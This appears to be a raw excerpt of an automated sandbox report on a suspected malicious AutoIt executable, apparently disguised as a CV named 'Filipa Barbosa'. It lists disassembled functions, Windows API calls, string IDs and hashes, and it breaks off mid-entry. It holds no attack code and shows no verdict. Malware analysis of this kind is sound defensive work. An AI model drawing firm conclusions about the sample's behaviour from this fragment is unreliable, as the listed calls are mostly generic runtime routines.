                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: NameUser
                                                                  • String ID:
                                                                  • API String ID: 2645101109-0
                                                                  • Opcode ID: d4b9a65da10b4c939c04aed8a004e24bab8fd5f4cb5622ebfd26c71652d58786
                                                                  • Instruction ID: 90e22c79b9f1eb9f6d5d33c749908851f93a4f58f174ab4f644b4afddbb3f273
                                                                  • Opcode Fuzzy Hash: d4b9a65da10b4c939c04aed8a004e24bab8fd5f4cb5622ebfd26c71652d58786
                                                                  • Instruction Fuzzy Hash: 50C04CB1400109DFCB51CBC0CD849EEB7BCAB04301F104092A106F2110DB709B859B72
                                                                  Function 00B48189 Relevance: 1.5, APIs: 1, Instructions: 6COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetUnhandledExceptionFilter.KERNEL32(?), ref: 00B4818F
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ExceptionFilterUnhandled
                                                                  • String ID:
                                                                  • API String ID: 3192549508-0
                                                                  • Opcode ID: fdefd20c0a5a8dc60a6011aafa7a4e68ffa1e00021d9c5841704d2c50eb6d8b9
                                                                  • Instruction ID: 6403dba1bffb72663a09dfa7764eef8ec0236114efc5d2c61804ecaa31692a31
                                                                  • Opcode Fuzzy Hash: fdefd20c0a5a8dc60a6011aafa7a4e68ffa1e00021d9c5841704d2c50eb6d8b9
                                                                  • Instruction Fuzzy Hash: B1A0113000020CAB8F002B82EC0A8883FACEA022A0B000020F80E028208B22A8208A8A
                                                                  Function 00B2E3B0 Relevance: .5, Instructions: 540COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 505d1aeb65f2e5b2f56c88aaf0ca66a108b20ec58fe18ee1497d7d333a031683
                                                                  • Instruction ID: 8e503a16cda4c5ea65bf7517d3734ed7a312a468ac082cd6e7667c69542faaef
                                                                  • Opcode Fuzzy Hash: 505d1aeb65f2e5b2f56c88aaf0ca66a108b20ec58fe18ee1497d7d333a031683
                                                                  • Instruction Fuzzy Hash: 5B229F709002268FDB24DF59D490ABEB7F1FF18304F2481A9E9AA9B351E735ED41CB91
                                                                  Function 00B293F0 Relevance: .5, Instructions: 531COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: e0831bfd4c0975a24dbe6ac3f7ef1a700548c2bdf78c0810c5b7a49e3c1ad9e3
                                                                  • Instruction ID: 4d9c475e371723372f95de6d2d3e33f13b032ee623091dc01848fbc59341a77d
                                                                  • Opcode Fuzzy Hash: e0831bfd4c0975a24dbe6ac3f7ef1a700548c2bdf78c0810c5b7a49e3c1ad9e3
                                                                  • Instruction Fuzzy Hash: CE126C70E00219AFDF14DFA4E995AAEB7F5FF48300F2045A9E81AE7254EB35AD11CB50
                                                                  Function 00B2AF50 Relevance: .5, Instructions: 514COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Exception@8Throwstd::exception::exception
                                                                  • String ID:
                                                                  • API String ID: 3728558374-0
                                                                  • Opcode ID: 69459bf48d1e2d5360ae60c98d9fbc88ca14298beff23c458015d028872bb73f
                                                                  • Instruction ID: 9669f6f68c7db78de5df796563dff1356e63b083c4f95f381c09af0278b137c7
                                                                  • Opcode Fuzzy Hash: 69459bf48d1e2d5360ae60c98d9fbc88ca14298beff23c458015d028872bb73f
                                                                  • Instruction Fuzzy Hash: 11028270E00115EBDF14DF68E991AAEB7F5EF44300F2084A9E80AEB255EB35DA15CB91
                                                                  Function 00B402A4 Relevance: .3, Instructions: 345COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                  • Instruction ID: f25a7ff7b07322130b15b178d63a9ab2edb528c8339129efce83c901f13f05ab
                                                                  • Opcode Fuzzy Hash: 6bcf19402166b509fafb4c50a64371ef2a93877f8d810bfc08732e8a9195a1a8
                                                                  • Instruction Fuzzy Hash: 21C173322151A30ADF2D4679C47443EBAE19BA17B171A07EDD8B3CB5D5EF30C624E620
                                                                  Function 00B406D9 Relevance: .3, Instructions: 341COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                  • Instruction ID: 104f7f322a26f3566fe3e0c4828e1fc48f968d670542c0dad569bb6e86011c3a
                                                                  • Opcode Fuzzy Hash: 2d76c3bdd49f8e00aad6e71f29a941d673537f809e9b181fbd8d4251c6dfdf40
                                                                  • Instruction Fuzzy Hash: 0AC1A2322151A309DF6D463DC47443EBBE19BA2BB171A07EDD4B2CB4D5EF20DA24E620
                                                                  Function 00B3FA57 Relevance: .3, Instructions: 323COMMON
                                                                  Download Yara Rule
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID:
                                                                  • String ID:
                                                                  • API String ID:
                                                                  • Opcode ID: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                  • Instruction ID: a4baf5643d214fae06a3971a15eae96074babd0d8f874a5f4bd70bc3fa6f4b8f
                                                                  • Opcode Fuzzy Hash: b18fb967447e529c76739499a87999de3f08bdf72590393fa5476362680146d7
                                                                  • Instruction Fuzzy Hash: 47C170326050A309DF2D4679C47443EFAE1DBA2BB1B2A17FDD4B2CB5D5EE20C564D620
                                                                  Function 00B7A2A9 Relevance: 79.2, APIs: 40, Strings: 5, Instructions: 490filecommemoryCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • DeleteObject.GDI32(00000000), ref: 00B7A2FE
                                                                  • DeleteObject.GDI32(00000000), ref: 00B7A310
                                                                  • DestroyWindow.USER32 ref: 00B7A31E
                                                                  • GetDesktopWindow.USER32 ref: 00B7A338
                                                                  • GetWindowRect.USER32(00000000), ref: 00B7A33F
                                                                  • SetRect.USER32(?,00000000,00000000,000001F4,00000190), ref: 00B7A480
                                                                  • AdjustWindowRectEx.USER32(?,88C00000,00000000,00000002), ref: 00B7A490
                                                                  • CreateWindowExW.USER32(00000002,AutoIt v3,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A4D8
                                                                  • GetClientRect.USER32(00000000,?), ref: 00B7A4E4
                                                                  • CreateWindowExW.USER32(00000000,static,00000000,5000000E,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00B7A51E
                                                                  • CreateFileW.KERNEL32(?,80000000,00000000,00000000,00000003,00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A540
                                                                  • GetFileSize.KERNEL32(00000000,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A553
                                                                  • GlobalAlloc.KERNEL32(00000002,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A55E
                                                                  • GlobalLock.KERNEL32(00000000), ref: 00B7A567
                                                                  • ReadFile.KERNEL32(00000000,00000000,00000000,00000190,00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A576
                                                                  • GlobalUnlock.KERNEL32(00000000), ref: 00B7A57F
                                                                  • CloseHandle.KERNEL32(00000000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A586
                                                                  • GlobalFree.KERNEL32(00000000), ref: 00B7A591
                                                                  • CreateStreamOnHGlobal.OLE32(00000000,00000001,88C00000,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A5A3
                                                                  • OleLoadPicture.OLEAUT32(88C00000,00000000,00000000,00BAD9BC,00000000), ref: 00B7A5B9
                                                                  • GlobalFree.KERNEL32(00000000), ref: 00B7A5C9
                                                                  • CopyImage.USER32(000001F4,00000000,00000000,00000000,00002000), ref: 00B7A5EF
                                                                  • SendMessageW.USER32(?,00000172,00000000,000001F4), ref: 00B7A60E
                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,?,?,00000020,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A630
                                                                  • ShowWindow.USER32(00000004,?,88C00000,000000FF,000000FF,?,?,00000000,00000000,00000000), ref: 00B7A81D
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Window$Global$CreateRect$File$DeleteFreeObject$AdjustAllocClientCloseCopyDesktopDestroyHandleImageLoadLockMessagePictureReadSendShowSizeStreamUnlock
                                                                  • String ID: $@U=u$AutoIt v3$DISPLAY$static
                                                                  • API String ID: 2211948467-3613752883
                                                                  • Opcode ID: 05c3970d5d8a93395bf2f4141a73494b14a455ea3c2dea6e34d81fafdee66e5d
                                                                  • Instruction ID: 5a2c1349151312b106fcbbcfffd76a5060fdbb6951c041078971dd8b638fa797
                                                                  • Opcode Fuzzy Hash: 05c3970d5d8a93395bf2f4141a73494b14a455ea3c2dea6e34d81fafdee66e5d
                                                                  • Instruction Fuzzy Hash: BA027071A00114EFDB14DFA8DD89EAE7BF9EB49310F108558F91AAB2A1CB70DD41CB61
                                                                  Function 00B8D285 Relevance: 59.8, APIs: 33, Strings: 1, Instructions: 260COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetTextColor.GDI32(?,00000000), ref: 00B8D2DB
                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00B8D30C
                                                                  • GetSysColor.USER32(0000000F), ref: 00B8D318
                                                                  • SetBkColor.GDI32(?,000000FF), ref: 00B8D332
                                                                  • SelectObject.GDI32(?,00000000), ref: 00B8D341
                                                                  • InflateRect.USER32(?,000000FF,000000FF), ref: 00B8D36C
                                                                  • GetSysColor.USER32(00000010), ref: 00B8D374
                                                                  • CreateSolidBrush.GDI32(00000000), ref: 00B8D37B
                                                                  • FrameRect.USER32(?,?,00000000), ref: 00B8D38A
                                                                  • DeleteObject.GDI32(00000000), ref: 00B8D391
                                                                  • InflateRect.USER32(?,000000FE,000000FE), ref: 00B8D3DC
                                                                  • FillRect.USER32(?,?,00000000), ref: 00B8D40E
                                                                  • GetWindowLongW.USER32(?,000000F0), ref: 00B8D439
                                                                    • Part of subcall function 00B8D575: GetSysColor.USER32(00000012), ref: 00B8D5AE
                                                                    • Part of subcall function 00B8D575: SetTextColor.GDI32(?,?), ref: 00B8D5B2
                                                                    • Part of subcall function 00B8D575: GetSysColorBrush.USER32(0000000F), ref: 00B8D5C8
                                                                    • Part of subcall function 00B8D575: GetSysColor.USER32(0000000F), ref: 00B8D5D3
                                                                    • Part of subcall function 00B8D575: GetSysColor.USER32(00000011), ref: 00B8D5F0
                                                                    • Part of subcall function 00B8D575: CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B8D5FE
                                                                    • Part of subcall function 00B8D575: SelectObject.GDI32(?,00000000), ref: 00B8D60F
                                                                    • Part of subcall function 00B8D575: SetBkColor.GDI32(?,00000000), ref: 00B8D618
                                                                    • Part of subcall function 00B8D575: SelectObject.GDI32(?,?), ref: 00B8D625
                                                                    • Part of subcall function 00B8D575: InflateRect.USER32(?,000000FF,000000FF), ref: 00B8D644
                                                                    • Part of subcall function 00B8D575: RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B8D65B
                                                                    • Part of subcall function 00B8D575: GetWindowLongW.USER32(00000000,000000F0), ref: 00B8D670
                                                                    • Part of subcall function 00B8D575: SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B8D698
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Color$Rect$Object$BrushInflateSelect$CreateLongTextWindow$DeleteFillFrameMessageRoundSendSolid
                                                                  • String ID: @U=u
                                                                  • API String ID: 3521893082-2594219639
                                                                  • Opcode ID: a4f4aa620c146c63c5a8db4eba150888f5ddb934cebdc73030bc73927f743cc2
                                                                  • Instruction ID: 253938ab453184303c13b64834b0257c873d231d160273ecf191c8464e43185c
                                                                  • Opcode Fuzzy Hash: a4f4aa620c146c63c5a8db4eba150888f5ddb934cebdc73030bc73927f743cc2
                                                                  • Instruction Fuzzy Hash: F2915E71408301BFDB10AF64DC49E6BBBE9FB86325F100A1AF962975E0DB71D944CB52
                                                                  Function 00B3B8FD Relevance: 51.2, APIs: 27, Strings: 2, Instructions: 491windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • DestroyWindow.USER32 ref: 00B3B98B
                                                                  • DeleteObject.GDI32(00000000), ref: 00B3B9CD
                                                                  • DeleteObject.GDI32(00000000), ref: 00B3B9D8
                                                                  • DestroyIcon.USER32(00000000), ref: 00B3B9E3
                                                                  • DestroyWindow.USER32(00000000), ref: 00B3B9EE
                                                                  • SendMessageW.USER32(?,00001308,?,00000000), ref: 00B9D2AA
                                                                  • ImageList_Remove.COMCTL32(?,000000FF,?), ref: 00B9D2E3
                                                                  • MoveWindow.USER32(00000000,?,?,?,?,00000000), ref: 00B9D711
                                                                    • Part of subcall function 00B3B9FF: InvalidateRect.USER32(?,00000000,00000001,?,?,?,00B3B759,?,00000000,?,?,?,?,00B3B72B,00000000,?), ref: 00B3BA58
                                                                  • SendMessageW.USER32 ref: 00B9D758
                                                                  • SendMessageW.USER32(?,00001008,000000FF,00000000), ref: 00B9D76F
                                                                  • ImageList_Destroy.COMCTL32(00000000), ref: 00B9D785
                                                                  • ImageList_Destroy.COMCTL32(00000000), ref: 00B9D790
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Destroy$ImageList_MessageSendWindow$DeleteObject$IconInvalidateMoveRectRemove
                                                                  • String ID: 0$@U=u
                                                                  • API String ID: 464785882-975001249
                                                                  • Opcode ID: 99e6d50028f7f09305e5153478acb267f3e60e1ac9ba1c7a14963981fbad3f92
                                                                  • Instruction ID: 154b91358712ae33b1c3829045953fbe479827328eb01967cdcae254aa8ebd50
                                                                  • Opcode Fuzzy Hash: 99e6d50028f7f09305e5153478acb267f3e60e1ac9ba1c7a14963981fbad3f92
                                                                  • Instruction Fuzzy Hash: 7F128E30604201DFDB25CF29C895BA9BBE5FF55304F2446B9EA89CB662CB31EC45CB91
                                                                  Function 00B8D575 Relevance: 47.4, APIs: 26, Strings: 1, Instructions: 186windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • GetSysColor.USER32(00000012), ref: 00B8D5AE
                                                                  • SetTextColor.GDI32(?,?), ref: 00B8D5B2
                                                                  • GetSysColorBrush.USER32(0000000F), ref: 00B8D5C8
                                                                  • GetSysColor.USER32(0000000F), ref: 00B8D5D3
                                                                  • CreateSolidBrush.GDI32(?), ref: 00B8D5D8
                                                                  • GetSysColor.USER32(00000011), ref: 00B8D5F0
                                                                  • CreatePen.GDI32(00000000,00000001,00743C00), ref: 00B8D5FE
                                                                  • SelectObject.GDI32(?,00000000), ref: 00B8D60F
                                                                  • SetBkColor.GDI32(?,00000000), ref: 00B8D618
                                                                  • SelectObject.GDI32(?,?), ref: 00B8D625
                                                                  • InflateRect.USER32(?,000000FF,000000FF), ref: 00B8D644
                                                                  • RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00B8D65B
                                                                  • GetWindowLongW.USER32(00000000,000000F0), ref: 00B8D670
                                                                  • SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00B8D698
                                                                  • GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00B8D6BF
                                                                  • InflateRect.USER32(?,000000FD,000000FD), ref: 00B8D6DD
                                                                  • DrawFocusRect.USER32(?,?), ref: 00B8D6E8
                                                                  • GetSysColor.USER32(00000011), ref: 00B8D6F6
                                                                  • SetTextColor.GDI32(?,00000000), ref: 00B8D6FE
                                                                  • DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00B8D712
                                                                  • SelectObject.GDI32(?,00B8D2A5), ref: 00B8D729
                                                                  • DeleteObject.GDI32(?), ref: 00B8D734
                                                                  • SelectObject.GDI32(?,?), ref: 00B8D73A
                                                                  • DeleteObject.GDI32(?), ref: 00B8D73F
                                                                  • SetTextColor.GDI32(?,?), ref: 00B8D745
                                                                  • SetBkColor.GDI32(?,?), ref: 00B8D74F
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
                                                                  • String ID: @U=u
                                                                  • API String ID: 1996641542-2594219639
                                                                  • Opcode ID: 94b36bbd941d1f524c5f070ce580fd887d545ac33e0122af09e9fca830029097
                                                                  • Instruction ID: 0434734e700455e9bff4b92844cafeff397fa6edccc3c9fb5b7b19a8621ef2c6
                                                                  • Opcode Fuzzy Hash: 94b36bbd941d1f524c5f070ce580fd887d545ac33e0122af09e9fca830029097
                                                                  • Instruction Fuzzy Hash: 8C512D71900208BFDB10AFA8DC49EEE7BB9FB09324F104556F916AB2E1DB759A40DF50
                                                                  Function 00B6DBC4 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 187COMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetErrorMode.KERNEL32(00000001), ref: 00B6DBD6
                                                                  • GetDriveTypeW.KERNEL32(?,00BBDC54,?,\\.\,00BBDC00), ref: 00B6DCC3
                                                                  • SetErrorMode.KERNEL32(00000000,00BBDC54,?,\\.\,00BBDC00), ref: 00B6DE29
                                                                  Strings
                                                                  Memory Dump Source
                                                                  • Source File: 00000000.00000002.1382585231.0000000000B21000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B20000, based on PE: true
                                                                  • Associated: 00000000.00000002.1382567226.0000000000B20000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BAD000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382643483.0000000000BCE000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382690581.0000000000BDA000.00000004.00000001.01000000.00000003.sdmpDownload File
                                                                  • Associated: 00000000.00000002.1382709719.0000000000BE4000.00000002.00000001.01000000.00000003.sdmpDownload File
                                                                  Joe Sandbox IDA Plugin
                                                                  • Snapshot File: hcaresult_0_2_b20000_CV_ Filipa Barbosa.jbxd
                                                                  Similarity
                                                                  • API ID: ErrorMode$DriveType
                                                                  • String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
                                                                  • API String ID: 2907320926-4222207086
                                                                  • Opcode ID: 98a884d80d4f402a5743e38a3f912529ae86801b9d54831c0b050ae3852900c8
                                                                  • Instruction ID: 2e96b089179fd6d7bdbc83ce4e9f4081ff3ce834b266bc372ec1506840c2e6c7
                                                                  • Opcode Fuzzy Hash: 98a884d80d4f402a5743e38a3f912529ae86801b9d54831c0b050ae3852900c8
                                                                  • Instruction Fuzzy Hash: 20519130B48306ABC610EF14D882D29F7E0FB94B05B1449EBF44B972A2EB79D945D742
                                                                  Function 00B8C6E9 Relevance: 44.2, APIs: 23, Strings: 2, Instructions: 447windowCOMMON
                                                                  Download Yara Rule
                                                                  APIs
                                                                  • SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000013,?,?,?), ref: 00B8C788
                                                                  • SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00B8C83E
                                                                  • SendMessageW.USER32(?,00001102,00000002,?), ref: 00B8C859
                                                                  • SendMessageW.USER32(?,000000F1,?,00000000), ref: 00B8CB15
                                                                  Strings
                                                                  Memory Dump Source
